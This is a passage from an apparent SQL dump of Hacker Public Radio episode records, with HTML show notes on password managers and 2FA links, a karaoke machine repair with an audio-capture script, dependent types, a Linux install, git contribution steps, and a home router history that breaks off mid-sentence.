href=\"https://bitwarden.com/\"\nclass=\"uri\">https://bitwarden.com/</a></p></li>\n<li><p>Geocities<br />\n<a href=\"https://en.wikipedia.org/wiki/Yahoo!_GeoCities\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Yahoo!_GeoCities</a></p></li>\n<li><p>Angelfire<br />\n<a href=\"https://www.angelfire.lycos.com/\"\nclass=\"uri\">https://www.angelfire.lycos.com/</a></p></li>\n<li><p>Yubikey<br />\n<a href=\"https://www.yubico.com/\"\nclass=\"uri\">https://www.yubico.com/</a></p></li>\n<li><p>Linux Mint<br />\n<a href=\"https://linuxmint.com/\"\nclass=\"uri\">https://linuxmint.com/</a></p></li>\n<li><p>ASUS Vivobook<br />\n<a href=\"https://www.asus.com/us/laptops/for-home/vivobook/\"\nclass=\"uri\">https://www.asus.com/us/laptops/for-home/vivobook/</a></p></li>\n<li><p>Mastodon<br />\n<a href=\"https://mastodon.social/explore\"\nclass=\"uri\">https://mastodon.social/explore</a></p></li>\n<li><p>South Park<br />\n<a href=\"https://southpark.cc.com/\"\nclass=\"uri\">https://southpark.cc.com/</a></p></li>\n<li><p>Mastercard<br />\n<a href=\"https://www.mastercard.us/en-us.html\"\nclass=\"uri\">https://www.mastercard.us/en-us.html</a></p></li>\n<li><p><a\nhref=\"https://www.westernunion.com/blog/en/notify-bank-international-travel/\">westernunion:</a>\nNotify your bank before using a credit or debit card when\ntraveling.</p></li>\n<li><p><a\nhref=\"https://consumer.ftc.gov/articles/what-know-about-credit-freezes-fraud-alerts\">ftc:</a>\nWhat To Know About Credit Freezes and Fraud Alerts.</p></li>\n<li><p><a href=\"https://en.wikipedia.org/wiki/Mastercard\">wikipedia:</a>\nMastercard Inc. (stylized as MasterCard from 1979&#x2013;2016, mastercard from\n2016&#x2013;2019) is the second-largest payment-processing corporation\nworldwide.</p></li>\n<li><p><a\nhref=\"https://en.wikipedia.org/wiki/Eurocard_(credit_card)\">wikipedia:</a>\nEurocard was a credit card, introduced in 1964 by a Swedish banker in\nthe Wallenberg family as an alternative to American Express.</p></li>\n<li><p><a\nhref=\"https://visitsweden.com/about-sweden/currency-prices/\">visitsweden:</a>\nCurrency, credit cards and money in Sweden.</p></li>\n<li><p><a href=\"https://en.wikipedia.org/wiki/Visa_Inc.\">wikipedia:</a>\nVisa Inc. (/&#x2C8;vi&#x2D0;z&#x259;, &#x2C8;vi&#x2D0;s&#x259;/; stylized as VISA) is an American\nmultinational financial services corporation headquartered in San\nFrancisco, California.</p></li>\n<li><p><a href=\"https://mewe.com/\">mewe:</a> Brilliant features with no\nBS. No Ads. No Spyware. MeWe is the Next-Gen Social Network.</p></li>\n<li><p><a href=\"https://www.hplovecraft.com/\">hplovecraft:</a> HOWARD\nPHILLIPS LOVECRAFT (20 August 1890&#x2013;15 March 1937) is probably best known\nas a writer of weird fiction, but some believe his voluminous\ncorrespondence to be his greatest accomplishment.</p></li>\n<li><p><a\nhref=\"https://en.wikipedia.org/wiki/Lovecraftian_horror\">wikipedia:</a>\nLovecraftian horror, sometimes used interchangeably with \"cosmic\nhorror\", is a subgenre of horror fiction and weird fiction that\nemphasizes the horror of the unknowable and incomprehensible more than\ngore or other elements of shock.</p></li>\n<li><p><a\nhref=\"https://www.adultswim.com/videos/rick-and-morty/\">adultswim:</a>\nRick and Morty is an American adult animated science-fiction sitcom\ncreated by Justin Roiland and Dan Harmon for Cartoon Network\'s nighttime\nprogramming block Adult Swim.</p></li>\n<li><p><a href=\"https://en.wikipedia.org/wiki/Facebook\">wikipedia:</a>\nFacebook is an online social media and social networking service owned\nby American company Meta Platforms.</p></li>\n<li><p><a href=\"https://en.wikipedia.org/wiki/Twitter\">wikipedia:</a>\nTwitter is an online social media and social networking service owned\nand operated by American company Twitter, Inc., on which users send and\nrespond publicly or privately 280-character-long messages, images and\nvideos known as \"tweets\".</p></li>\n<li><p><a href=\"https://climagic.org/\">climagic:</a> Command LIne Magic\n(CLIMagic).</p>\n<ul>\n<li><a\nhref=\"https://www.climagic.org/txt/ilf-2012-slides.txt\">climagic:</a>\nIndiana Linux Fest 2012.</li>\n</ul></li>\n<li><p><a href=\"https://element.io/\">element:</a> Element is a free and\nopen-source software instant messaging client based on the Matrix\nprotocol. Element supports end-to-end encryption, groups, channels and\nsharing of files between users.</p></li>\n<li><p><a href=\"https://matrix.to/#/#lugcast:minnix.dev\">matrix:</a>\nLinux Lug Cast on Matrix.</p></li>\n<li><p><a href=\"https://matrix.to/#/#hpr:matrix.org\">matrix:</a> HPR on\nMatrix.</p></li>\n<li><p><a\nhref=\"https://en.wikipedia.org/wiki/Atom_(text_editor)\">wikipedia:</a>\nAtom was a free and open-source text and source code editor for macOS,\nLinux, and Microsoft Windows with support for plug-ins written in\nJavaScript, and embedded Git Control.</p></li>\n<li><p><a href=\"https://matrix.org/\">matrix:</a> An open network for\nsecure, decentralized communication.</p></li>\n<li><p><a\nhref=\"https://en.wikipedia.org/wiki/Multi-factor_authentication\">wikipedia:</a>\nMulti-factor authentication.</p></li>\n<li><p><a href=\"https://support.apple.com/en-us/HT204915\">apple:</a>\nTwo-factor authentication for Apple ID.</p></li>\n<li><p><a\nhref=\"https://en.wikipedia.org/wiki/Authenticator\">wikipedia:</a> An\nauthenticator is a means used to confirm a user\'s identity, that is, to\nperform digital authentication.</p></li>\n<li><p><a\nhref=\"https://en.wikipedia.org/wiki/Google_Authenticator\">wikipedia:</a>\nGoogle Authenticator.</p></li>\n<li><p><a\nhref=\"https://en.wikipedia.org/wiki/Key_authentication\">wikipedia:</a>\nKey authentication.</p></li>\n<li><p><a href=\"https://en.wikipedia.org/wiki/SQRL\">wikipedia:</a> SQRL\n(pronounced \"squirrel\") or Secure, Quick, Reliable Login (formerly\nSecure QR Login) is a draft open standard for secure website login and\nauthentication.</p></li>\n<li><p><a href=\"https://twit.tv/shows/security-now\">twit:</a> Security\nNow - Hosted by Steve Gibson, Leo Laporte.</p></li>\n<li><p><a href=\"https://keepassxc.org/\">keepassxc:</a> KeePassXC -\nCross-Platform Password Manager.</p></li>\n<li><p><a\nhref=\"https://en.wikipedia.org/wiki/Password_cracking\">wikipedia:</a> In\ncryptanalysis and computer security, password cracking is the process of\nrecovering passwords from data that has been stored in or transmitted by\na computer system in scrambled form.</p></li>\n<li><p><a href=\"https://en.wikipedia.org/wiki/LastPass\">wikipedia:</a>\nLastPass is a password manager distributed in subscription form as well\nas a freemium model with limited functionality.</p></li>\n<li><p><a\nhref=\"https://www.cnet.com/tech/services-and-software/lastpass-owner-goto-says-hackers-stole-customer-data-backups/\">cnet:</a>\nLastPass Owner GoTo Says Hackers Stole Customer Data Backups.</p></li>\n<li><p><a href=\"https://en.wikipedia.org/wiki/Zip_drive\">wikipedia:</a>\nThe Zip drive is a removable floppy disk storage system that was\nintroduced by Iomega in late 1994.</p></li>\n<li><p><a\nhref=\"https://en.wikipedia.org/wiki/Lotus_1-2-3\">wikipedia:</a> Lotus\n1-2-3 is a discontinued spreadsheet program from Lotus Software (later\npart of IBM).</p></li>\n<li><p><a\nhref=\"https://en.wikipedia.org/wiki/Office_Space\">wikipedia:</a> Office\nSpace is a 1999 American black comedy film written and directed by Mike\nJudge.</p></li>\n<li><p><a href=\"https://en.wikipedia.org/wiki/Encryption\">wikipedia:</a>\nIn cryptography, encryption is the process of encoding\ninformation.</p></li>\n<li><p><a\nhref=\"https://en.wikipedia.org/wiki/Tar_(computing)\">wikipedia:</a> In\ncomputing, tar is a computer software utility for collecting many files\ninto one archive file, often referred to as a tarball, for distribution\nor backup purposes.</p></li>\n<li><p><a\nhref=\"https://en.wikipedia.org/wiki/Quantum_computing\">wikipedia:</a> A\nquantum computer is a computer that exploits quantum mechanical\nphenomena.</p></li>\n<li><p><a\nhref=\"https://en.wikipedia.org/wiki/Final_Destination\">wikipedia:</a>\nFinal Destination is an American horror franchise that includes five\nfilms, two comic books, and nine novels.</p></li>\n<li><p><a href=\"https://en.wikipedia.org/wiki/Buddhism\">wikipedia:</a>\nBuddhism.</p></li>\n<li><p><a href=\"https://en.wikipedia.org/wiki/Conquian\">wikipedia:</a>\nConquian, Coon Can or Colonel (the two-handed version) is a rummy-style\ncard game.</p></li>\n<li><p><a\nhref=\"https://linuxfestnorthwest.org/conferences/2022\">linuxfestnorthwest:</a>\nLinuxFest Northwest 2022 has concluded.</p></li>\n<li><p><a\nhref=\"https://en.wikipedia.org/wiki/Lead_shielding\">wikipedia:</a> Lead\nshielding refers to the use of lead as a form of radiation protection to\nshield people or objects from radiation so as to reduce the effective\ndose.</p></li>\n<li><p><a href=\"https://en.wikipedia.org/wiki/Hulk\">wikipedia:</a> The\nHulk is a superhero appearing in American comic books published by\nMarvel Comics.</p></li>\n<li><p><a href=\"https://www.jeffgeerling.com/\">jeffgeerling:</a> I\'m\ngeerlingguy most places online. I\'m an author and software developer\nfrom St. Louis, MO.</p>\n<ul>\n<li><a\nhref=\"https://www.jeffgeerling.com/blog/2018/colons-semicolons-and-crohns-surgery-oh-my\">jeffgeerling:</a>\nColons, semicolons, and Crohns surgery, oh my!</li>\n</ul></li>\n<li><p><a\nhref=\"https://en.wikipedia.org/wiki/Colon_cancer_staging\">wikipedia:</a>\nColon cancer staging.</p></li>\n<li><p><a\nhref=\"https://en.wikipedia.org/wiki/Colonoscopy\">wikipedia:</a>\nColonoscopy.</p></li>\n<li><p><a href=\"https://en.wikipedia.org/wiki/Smartwatch\">wikipedia:</a>\nA smartwatch is a wearable computer in the form of a watch; modern\nsmartwatches provide a local touchscreen interface for daily use, while\nan associated smartphone app provides management and telemetry, such as\nlong-term biomonitoring.</p></li>\n<li><p><a\nhref=\"https://www.hipaajournal.com/judge-denies-injunction-banning-meta-from-collecting-patient-data-via-meta-pixel-code/\">hipaajournal:</a>\nJudge Denies Injunction Banning Meta from Collecting Patient Data via\nMeta Pixel Code.</p></li>\n<li><p><a\nhref=\"https://en.wikipedia.org/wiki/Raspberry_Pi\">wikipedia:</a>\nRaspberry Pi.</p></li>\n<li><p><a href=\"https://en.wikipedia.org/wiki/Arduino\">wikipedia:</a>\nArduino.</p></li>\n<li><p><a href=\"https://wiki.odroid.com/odroid-c2/odroid-c2\">odroid:</a>\nODROID-C2.</p></li>\n<li><p><a\nhref=\"https://en.wikipedia.org/wiki/Google_Hangouts\">wikipedia:</a>\nGoogle Hangouts is a discontinued cross-platform instant messaging\nservice developed by Google.</p></li>\n<li><p><a\nhref=\"https://en.wikipedia.org/wiki/Mainframe_computer\">wikipedia:</a>\nMainframe computer</p></li>\n<li><p><a href=\"https://en.wikipedia.org/wiki/Ncurses\">wikipedia:</a>\nncurses.</p></li>\n<li><p><a href=\"https://en.wikipedia.org/wiki/IBM_3270\">wikipedia:</a>\nThe IBM 3270 is a family of block oriented display and printer computer\nterminals introduced by IBM in 1971 and normally used to communicate\nwith IBM mainframes.</p></li>\n<li><p><a\nhref=\"https://www.ibm.com/docs/en/zos/2.3.0?topic=configuration-defining-pcomm-tn3270e-session\">ibm:</a>\na PCOMM TN3270E.</p></li>\n<li><p><a\nhref=\"https://en.wikipedia.org/wiki/Command-line_interface\">wikipedia:</a>\nCommand-line interface.</p></li>\n<li><p><a\nhref=\"https://www.redhat.com/sysadmin/linux-find-command\">redhat:</a> 10\nways to use the Linux find command.</p></li>\n<li><p><a href=\"https://github.com/words/moby#readme\">github:</a>\nWelcome to moby-thesaurus.org, a free and open-source website designed\nto facilitate meanderings through the Moby Thesaurus, the largest\nthesaurus in the English language.</p></li>\n<li><p><a\nhref=\"https://en.wikipedia.org/wiki/Software_as_a_service\">wikipedia:</a>\nSoftware as a service.</p></li>\n<li><p><a href=\"https://en.wikipedia.org/wiki/C%2B%2B\">wikipedia:</a>\nC++ (pronounced \"C plus plus\") is a high-level general-purpose\nprogramming language created by Danish computer scientist Bjarne\nStroustrup as an extension of the C programming language, or \"C with\nClasses\".</p></li>\n<li><p><a\nhref=\"https://en.wikipedia.org/wiki/Deb_(file_format)\">wikipedia:</a>\ndeb is the format, as well as extension of the software package format\nfor the Debian Linux distribution and its derivatives.</p></li>\n<li><p><a href=\"https://en.wikipedia.org/wiki/Dpkg\">wikipedia:</a> dpkg\nis the software at the base of the package management system in the free\noperating system Debian and its numerous derivatives.</p></li>\n<li><p><a href=\"https://en.wikipedia.org/wiki/K3b\">wikipedia:</a> K3b\n(from KDE Burn Baby Burn) is a CD, DVD and Blu-ray authoring application\nby KDE for Unix-like computer operating systems.</p></li>\n<li><p><a\nhref=\"https://www.nero.com/eng/products/nero-burning-rom/?vlang=us\">nero:</a>\nNero Burning ROM: Rip, copy, burn and protect data.</p></li>\n<li><p><a\nhref=\"https://en.wikipedia.org/wiki/Feature_creep\">wikipedia:</a>\nFeature creep.</p></li>\n<li><p><a\nhref=\"https://en.wikipedia.org/wiki/Digital_single-lens_reflex_camera\">wikipedia:</a>\nA digital single-lens reflex camera (digital SLR or DSLR) is a digital\ncamera that combines the optics and the mechanisms of a single-lens\nreflex camera with a digital imaging sensor.</p></li>\n<li><p><a\nhref=\"https://en.wikipedia.org/wiki/Mirrorless_camera\">wikipedia:</a> A\nmirrorless camera is a photo camera featuring a single, removable lens\nand a digital display.</p></li>\n<li><p><a href=\"https://en.wikipedia.org/wiki/Darkroom\">wikipedia:</a>\nDarkroom.</p></li>\n<li><p><a\nhref=\"https://help.corel.com/aftershot/v3/main/en/documentation/index.html#page/AfterShot-3/what-is-aftershot.html\">corel:</a>\nWhat is Corel AfterShot Pro?</p></li>\n<li><p><a href=\"https://www.darktable.org/\">darktable:</a> darktable is\nan open source photography workflow application and raw\ndeveloper.</p></li>\n<li><p><a\nhref=\"https://en.wikipedia.org/wiki/Pentax_K1000\">wikipedia:</a> Pentax\nK1000.</p></li>\n<li><p><a\nhref=\"https://hackerpublicradio.org/eps.php?id=3751\">hackerpublicradio:</a>\nNoisetorch is a program for Linux that creates a virtual microphone that\nremoves background sounds.</p></li>\n<li><p><a href=\"https://en.wikipedia.org/wiki/Noise_gate\">wikipedia:</a>\nNoise gate.</p></li>\n<li><p><a href=\"https://www.proxmox.com/en/\">proxmox:</a> Proxmox\nVirtual Environment.</p></li>\n<li><p><a href=\"https://jellyfin.org/\">jellyfin:</a> Jellyfin is the\nvolunteer-built media solution that puts you in control of your\nmedia.</p></li>\n</ul>\n<p>Thanks To:<br />\nMumble Server: Delwin<br />\nHPR Site/VPS: Joshua Knapp - AnHonestHost.com<br />\nStreams: Honkeymagoo<br />\nEtherPad: HonkeyMagoo<br />\nShownotes by: Sgoti and hplovecraft</p>\n',159,121,1,'CC-BY-SA','hpr,new years,community',0,0,1),
(4066,'2024-03-04','HPR Community News for February 2024',0,'HPR Volunteers talk about shows released and comments posted in February 2024','',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3794,'2023-02-16','Retro Karaoke machine restored',491,'I fix the cassette tape mechanism to a resale shop karaoke machine','<p>ENTEX Electronics Electronic Singing Machine.<br />\nKaraoke Model No. 1820. Entex Electronics Inc. Made in Taiwan. Late\n1970s early 1980s.<br />\nIt incorporates an 8-Track Player and Cassette Tape Recorder.<br />\nIt also uses the Bucket Brigade Device Echo (BBD ECHO) Power is supplied\nby<br />\nAC 120 Volts. It also uses 10 D cell batteries, or alternatively 12-15\nvolts DC.</p>\n<p><a\nhref=\"https://www.worthpoint.com/worthopedia/entex-electronics-electronic-singing-41033720\"\ntitle=\"ENTEX Electronics Electronic Singing Machine on Worthpoint.com\">ENTEX\nElectronics Electronic Singing Machine</a></p>\n<p><a href=\"https://archive.org/search?query=entex+handheld+games\"\ntitle=\"Entex Electronics Handheld Games on the Internet Archive\">Entex\nElectronics Handheld Games on the Internet Archive</a></p>\n<p><br />\n<em><em>Belts</em></em></p>\n<p><a href=\"https://www.amazon.com/gp/product/B01CZSU6K8\"\ntitle=\"Square Cassette Tape Machine Recorder Rubber Belt\">Square\nCassette Tape Machine Recorder Rubber Belt</a></p>\n<p><a href=\"https://www.amazon.com/gp/product/B08QVS3D8K\"\ntitle=\"Cassette Recorder Repair Maintenance Mix Flat Cassette Tape Machine Rubber Belts (Width 4MM)\">Cassette\nRecorder Repair Maintenance Mix Flat Cassette Tape Machine Rubber Belts\n(Width 4MM)</a></p>\n<p><br />\n<em><em>USB Soundcard</em></em></p>\n<p>48KHz/44.1KHz sampling rate with 16-Bit Resolution.</p>\n<p><a href=\"https://www.amazon.com/dp/B00XM883BK\"\ntitle=\"SABRENT Aluminum USB External Stereo Sound Adapter\">SABRENT\nAluminum USB External Stereo Sound Adapter</a></p>\n<p><br />\n<em><em>Free Music Archive</em></em></p>\n<p><a\nhref=\"https://freemusicarchive.org/music/modern-monster/we-are-modern-monster/cyborg-lost\"\ntitle=\"Cyborg, Lost by Modern Monster on the Free Music Archive\">Cyborg,\nLost by Modern Monster</a></p>\n<p><br />\n<em><em>Pictures</em></em><br />\n<small><small>The images are thumbnails. Click on each to see the\nfull-sized picture.</small></small></p>\n<p><strong>8 Track side</strong><br />\n<a href=\"http://hackerpublicradio.org/eps/hpr3794/IMG_8-track_side.jpg\"\ntitle=\"8 Track side\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3794/IMG_8-track_side_tn.jpg\"\ntitle=\"8 Track side\" alt=\"8 Track side\" /></a></p>\n<p><strong>Cassette tape side</strong><br />\n<a href=\"http://hackerpublicradio.org/eps/hpr3794/IMG_cassette_side.jpg\"\ntitle=\"Cassette tape side\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3794/IMG_cassette_side_tn.jpg\"\ntitle=\"Cassette tape side\" alt=\"Cassette tape side\" /></a></p>\n<p><strong>Initial condition of the cassette player</strong><br />\n<a\nhref=\"http://hackerpublicradio.org/eps/hpr3794/IMG_initial_condition.jpg\"\ntitle=\"Initial condition of the cassette player\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3794/IMG_initial_condition_tn.jpg\"\ntitle=\"Initial condition of the cassette player\"\nalt=\"Initial condition of the cassette player\" /></a></p>\n<p><strong>Back of the player</strong><br />\n<a\nhref=\"http://hackerpublicradio.org/eps/hpr3794/IMG_inside_from_back.jpg\"\ntitle=\"Back of the player\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3794/IMG_inside_from_back_tn.jpg\"\ntitle=\"Back of the player\" alt=\"Back of the player\" /></a></p>\n<p><strong>Player with the cassette cover removed</strong><br />\n<a\nhref=\"https://hackerpublicradio.org/eps/hpr3794/IMG_outside_with_tools.jpg\"\ntitle=\"Player with the cassette cover removed\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3794/IMG_outside_with_tools_tn.jpg\"\ntitle=\"Player with the cassette cover removed\"\nalt=\"Player with the cassette cover removed\" /></a></p>\n<p><strong>Connecting rod for the cassette player</strong><br />\n<a\nhref=\"http://hackerpublicradio.org/eps/hpr3794/IMG_connecting_rod.jpg\"\ntitle=\"Connecting rod for the cassette player\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3794/IMG_connecting_rod_tn.jpg\"\ntitle=\"Connecting rod for the cassette player\"\nalt=\"Connecting rod for the cassette player\" /></a></p>\n<p><strong>Cassette pulley system</strong><br />\n<a href=\"http://hackerpublicradio.org/eps/hpr3794/IMG_pulley_system.jpg\"\ntitle=\"Cassette pulley system\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3794/IMG_pulley_system_tn.jpg\"\ntitle=\"Cassette pulley system\" alt=\"Cassette pulley system\" /></a></p>\n<p><strong>Line out</strong><br />\n<a href=\"http://hackerpublicradio.org/eps/hpr3794/IMG_line_out.jpg\"\ntitle=\"Line out\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3794/IMG_line_out_tn.jpg\"\ntitle=\"Line out\" alt=\"Line out\" /></a></p>\n<p><em><em>Analog audio capture</em></em></p>\n<pre><code>arecord -L\n - Find device to use\n - This works for finding the microphone input or the USB external sound card\n\nSoundcard\nsysdefault:CARD=Device\n USB Audio Device, USB Audio\n Default Audio Device</code></pre>\n<p><em><em>captureTheFlac.sh</em></em></p>\n<pre><code>file=dump&#39;_&#39;$(date +%F_%H-%M-%S)&#39;_Sabrent_soundcard_in&#39;.flac\n\narecord --device=&#39;sysdefault:CARD=Device&#39; --rate=96000 --channels=2 --vumeter=stereo\nsysdefault:CARD=Device --duration=300 --format=dat --file-type wav - | flac - -o $file</code></pre>\n',318,0,0,'CC-BY-SA','retro, karaoke, 8-track, cassette tape, Free Music Archive',0,0,1),
(3796,'2023-02-20','Dependent Types',508,'A quick taste of programming with dependent types','<p>I discuss dependent types, which are types that can contain non-type\nprograms. An example of a dependent type is a list whose type contains\nits length. Instead of just writing <code>List&lt;String&gt;</code> for\na list that contains strings, dependent types include types like\n<code>List&lt;String, 5&gt;</code> that describe lists of exactly five\nstrings. Dependent types can also be used to represent mathematics, in\nwhich case the programs that they describe count as proofs, and tools\nfrom programming can be used to write math.</p>\n<p>Dependent types used to be something that really required a research\nbackground, but there has been a lot of progress on making them more\nuser-friendly and on writing accessible introductions lately.</p>\n<p>Languages mentioned:</p>\n<ul>\n<li><a href=\"https://www.idris-lang.org/\">Idris</a> is a self-hosted\ndependently typed language with type-level resource tracking</li>\n<li><a href=\"https://wiki.portal.chalmers.se/agda/pmwiki.php\">Agda</a>\nis a testbed for new ideas in dependently typed programming</li>\n<li><a href=\"https://leanprover.github.io/\">Lean 4</a> is a self-hosted\ndependently typed language that has a more conservative logical core\nthan Idris or Agda, and attempts to appeal more to practicing\nmathematicians.</li>\n<li><a href=\"https://coq.inria.fr/\">Coq</a> is a proof assistant based\non dependent types that has been used to fully mathematically verify a C\ncompiler</li>\n</ul>\n<p>Books mentioned:</p>\n<ul>\n<li><a href=\"https://thelittletyper.com/\">The Little Typer</a>, by\nDaniel P. Friedman and David Thrane Christiansen is an intro to the core\nideas of dependent types, in dialog form</li>\n<li><a\nhref=\"https://www.manning.com/books/type-driven-development-with-idris\">Type\nDriven Development with Idris</a> by Edwin Brady, the creator of Idris,\ndescribes an approach to programming that uses expressive types as a way\nto make programmers\' lives easier</li>\n<li><a href=\"https://plfa.github.io/\">Programming Language Foundations\nin Agda</a> by Phil Wadler, Wen Kokke, and Jeremy Siek describes the use\nof Agda for both programming and proving</li>\n<li><a href=\"https://softwarefoundations.cis.upenn.edu/\">Software\nFoundations</a> is a series of books that use Coq as an introduction to\nmathematically rigorous software development in a proof assistant. It\'s\nhow I initially learned these topics!</li>\n</ul>\n',418,0,0,'CC-BY-SA','types, math, programming languages, functional programming',0,0,1),
(3798,'2023-02-22','Laptop Second SSD MXLinux Install',749,'Overcoming UEFI and Windows 10 to Install MXLinux 21.3 on a 2021 Asus Laptop 2nd SSD drive','<p>I forgot to mention the power consumption was very good, seemingly\r\nbetter than windows 10. That\'s a big bonus.</p>\r\n<p>On the website it said that the XFCE AHS release is not out yet. It\r\nwould probably work better on my device.</p>\r\n<p><a href=\"https://distrowatch.com/table.php?distribution=mx\"\r\nclass=\"uri\">https://distrowatch.com/table.php?distribution=mx</a></p>\r\n<p><em>Screenshot 2023-02-14 15:50:31</em><br />\r\n<a\r\nhref=\"https://hackerpublicradio.org/eps/hpr3798/Screenshot_2023-02-14_15-50-31_-_Copy.png\"><img\r\nsrc=\"https://hackerpublicradio.org/eps/hpr3798/Screenshot_2023-02-14_15-50-31_-_Copy_thumbnail.png\"\r\nalt=\"Screenshot 2023-02-14 15:50:31\" /></a> <br/><small><small><em>Click\r\nthe thumbnail to see the full-sized image</em></small></small></p>\r\n\r\n<small>Edit: Ken Original summary was \"Overcoming fucking UEFI and Windows 10 to Install MXLinux 21.3 on a 2021 Asus Laptop 2nd SSD drive\" - as per <a href=\"https://hackerpublicradio.org/stuff_you_need_to_know.php#not_moderated\">policy</a></small>\r\n',401,57,1,'CC-BY-SA','distrohopping,distros,linux,GNU,MXLinux',0,0,1),
(3797,'2023-02-21','How to submit changes to HPR',1895,'rho_n shows Ken how to submit changes to the new HPR static site.','<p>\nHPR is switching to a static site and in today\'s show <a href=\"https://hackerpublicradio.org/correspondents/0293.html\">Rho`n</a> explains to <a href=\"https://hackerpublicradio.org/correspondents/0030.html\">Ken</a> how to submit changes to the code.\n</p>\n<pre>\n<code>\n[user@pc fix]$ git clone gitea@repo.anhonesthost.net:rho_n/hpr_generator.git\n[user@pc fix]$ cd hpr_generator/\n[user@pc hpr_generator]$ git status\n[user@pc hpr_generator]$ git checkout -b I70_Fix_links_to_audio\n</code>\n</pre>\n<p>\nEdit the files. Once complete:</p>\n<pre>\n<code>\n[user@pc hpr_generator]$ git add file/to/commit\n[user@pc hpr_generator]$ git commit\n[user@pc hpr_generator]$ git push origin I70_Fix_links_to_audio\n</code>\n</pre>\n<p>\nYou can now login to the <a href=\"https://repo.anhonesthost.net/rho_n/hpr_generator\">rho_n/hpr_generator</a> git repo and you should be able to see several branches.<br />\nNext to your branch you can press <strong>New Pull Request</strong><br />\n<!-- <img src=\"https://hackerpublicradio.org/eps/hpr3797/hpr3797_2.png\" alt=\"The new pull request button\" /><br /> -->\n<img src=\"https://archive.org/download/hpr3797/hpr3797/hpr3797_2.png\" alt=\"The new pull request button\" /><br />\nReview your changes and if you\'re happy press the green <strong>New Pull Request</strong><br />\nFill in the description and a detailed comment <br />\nUse the HPR convention <em>[&lt;issue number&gt;] &lt;brief_description&gt; The brief description is usually based on the title of the issue</em><br />\nWhen <strong>Create Pull Request</strong><br />\n</p>\n\n<p>\n<!-- <a href=\"https://hackerpublicradio.org/eps/hpr3797/\">Full show notes are available</a>. -->\n<a href=\"https://archive.org/download/hpr3797/hpr3797/full_shownotes.html\">Full show notes are available</a>.\n</p>\n',30,0,0,'CC-BY-SA','git,hpr,code,pull request',0,0,1),
(3799,'2023-02-23','My home router history',1921,'Recent router maintenance makes me remember all the fun I\'ve had with my home network router','<h1 id=\"router-history\">Router History</h1>\n<p>Early Dialup</p>\n<ul>\n<li>Connection sharing</li>\n</ul>\n<p>DSL/Cable</p>\n<ul>\n<li>Linux PC with 2 NIC</li>\n<li>Set up IP masquerading</li>\n<li>Windows connection sharing</li>\n<li>This may have been against TOS</li>\n<li>$50 EBay PC</li>\n<li>Mandrake MNF</li>\n</ul>\n<p>Found a PC on the Street</p>\n<ul>\n<li>IPCop</li>\n<li>Infrequently updated</li>\n<li>No updates required or abandoned?</li>\n</ul>\n<p>OpenBSD</p>\n<ul>\n<li>Reputation for Security</li>\n<li>Something New</li>\n<li>Good instructions for setting up home office.</li>\n<li>Manual but straightforward</li>\n</ul>\n<p>WRT-54gl with tomato</p>\n<ul>\n<li>Linksys router sold specifically to run Linux</li>\n<li>Purchased to be AP</li>\n<li>Junk PC hardware failures - PSU or IDE disks</li>\n<li>Frequently used as backup.</li>\n</ul>\n<p>PCEngines Alix</p>\n<ul>\n<li>Basically a PC in a router form factor</li>\n<li>Serial port - NO VGA</li>\n<li>No USB boot - Had to set up PXE boot tftp server.</li>\n<li>Install OpenBSD</li>\n<li>No Video out - Serial port only</li>\n<li>Expensive for specs - 500MHz AMD CPU and 256M Ram</li>\n</ul>\n<p>Alix Limitations</p>\n<ul>\n<li>Worked great for a few years</li>\n<li>Compact Flash limited replacements.</li>\n<li>100M Ethernet</li>\n<li>Found Spare on EBay as Backup, just in case.</li>\n</ul>\n<p>PCEngines APU2</p>\n<ul>\n<li>Serial only</li>\n<li>OpenBSD 5.6 via USB drive</li>\n<li>3 NIC - Lan, Trusted, Untrusted</li>\n<li>Unifi AP for WiFi</li>\n</ul>\n<p>First playbook</p>\n<ul>\n<li>Missing some easy management\n<ul>\n<li>Local DNS</li>\n<li>DHCP Reservations</li>\n</ul></li>\n<li><a\nhref=\"http://hackerpublicradio.org/eps.php?id=3187\">http://hackerpublicradio.org/eps.php?id=3187</a>\n<ul>\n<li>CSV file with IP,MAC, Hostname</li>\n<li>DHCP reservation and local DNS</li>\n</ul></li>\n</ul>\n<p>Restricting Internet</p>\n<ul>\n<li>Open DNS and port redirects</li>\n<li>Unbound included on OpenBSD base\n<ul>\n<li>Caching DNS resolver</li>\n<li>Forward to Open DNS - Set to do some content filtering</li>\n<li>PF rule to redirect all incoming port 53 to unbound</li>\n</ul></li>\n<li>PF scripts\n<ul>\n<li>PF table with IP addresses of devices</li>\n<li>Table always blocked</li>\n<li>cron jobs to add/remove IP addresses to table</li>\n</ul></li>\n</ul>\n<p>APU2 limitations</p>\n<ul>\n<li>Installer Recommends Auto partitioning\n<ul>\n<li>Doesn\'t know how you plan to use OpenBSD</li>\n<li>Doesn\'t know the future plans for project.</li>\n</ul></li>\n<li>16G msata drive</li>\n<li>Small /usr</li>\n<li>Re-linking growth</li>\n<li>Moving src partitions</li>\n</ul>\n<p>PCEngines APU2</p>\n<ul>\n<li>Search /etc for changes</li>\n<li>Ansible Playbook for everything not covered by DNS/DHCP playbook\n<ul>\n<li>email forwarding</li>\n<li>sysctls</li>\n<li>syslog to server</li>\n</ul></li>\n<li>Practice on OpenBSD VM\n<ul>\n<li>198.168 172.20 as variable</li>\n<li>Normally with VM, I use the VirtIO NIC</li>\n<li>I used vitalized Intel NIC so same device names: em0, em1, ...</li>\n</ul></li>\n</ul>\n<p>Just Do It</p>\n<ul>\n<li>Update APU firmware - TODO retails\n<ul>\n<li>/usr/local/share/doc/pkg-readmes/flashrom</li>\n</ul></li>\n<li>Warned family internet would be offline a few hours</li>\n<li>Replaced M2 Sata card with 120</li>\n<li>It worked the first 